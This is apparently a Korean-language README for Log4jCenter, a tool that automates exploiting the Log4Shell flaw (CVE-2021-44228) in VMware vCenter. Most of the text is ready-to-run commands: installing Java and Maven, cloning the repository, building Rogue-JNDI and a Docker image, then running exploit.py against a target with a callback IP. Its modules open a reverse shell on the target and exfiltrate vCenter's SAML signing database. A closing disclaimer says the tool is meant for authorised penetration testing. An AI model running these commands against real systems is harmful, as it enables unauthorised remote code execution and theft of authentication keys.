
vCenter에서 CVE-2021-44228을 악용하여 원격 코드 실행 및 그 이상을 수행합니다.
vCenter에서 CVE-2021-44228을 악용하여 원격 코드 실행 등을 수행하는 도구입니다. 아래 블로그 게시물에서 자세한 악용 과정을 확인할 수 있습니다:
이 취약점에 대한 개념 증명(PoC)은 여기저기 흩어져 있고 수동으로 수행해야 합니다. 이 저장소는 악용 과정을 자동화하고, 악용 후에 가능한 추가 공격 경로를 보여줍니다.
이 저장소는 수동으로 사용하거나 Docker로 사용할 수 있습니다.
악용 도구를 다운로드하고 실행하려면 다음 단계를 수행하십시오. 먼저 공격자 호스트에 Java와 Maven이 설치되어 있는지 확인하십시오. Debian 기반 운영 체제에서 apt를 사용하여 설치하려면 다음 명령을 실행하십시오:
apt update && apt install openjdk-11-jre maven
GitHub 저장소를 클론하고 모든 Python 요구 사항을 설치하십시오:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Log4jCenter 저장소의 루트에서 아래 명령을 사용하여 Rogue-Jndi 프로젝트를 컴파일하십시오:
mvn package -f utils/rogue-jndi/
먼저 공격 호스트에 Docker가 설치되어 있는지 확인하십시오. (이 과정은 안내하지 않겠습니다)
그런 다음 다음 명령을 실행하여 저장소를 클론하고 사용할 Docker 이미지를 빌드하십시오.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
컨테이너를 실행하려면 명령줄 플래그를 추가하여 다음 명령과 유사하게 실행하십시오. 예를 들어, 아래 명령은 vCenter를 악용하여 리버스 셸을 얻는 데 사용됩니다. 컨테이너는 리버스 셸을 받지 못합니다. 별도의 셸 세션에서 ncat 리스너를 생성해야 합니다:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
로컬 시스템에 설치된 도구를 사용하여 리버스 셸을 얻으려면:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Docker 컨테이너 내에서 SAML 서명 데이터베이스를 외부로 유출하려면:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
이 도구는 침투 테스트 중에 사용하도록 설계되었습니다. 사전에 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 모든 해당 지역, 주 및 연방 법률을 준수할 책임은 최종 사용자에게 있습니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램의 오용에 대해 책임을 지지 않습니다.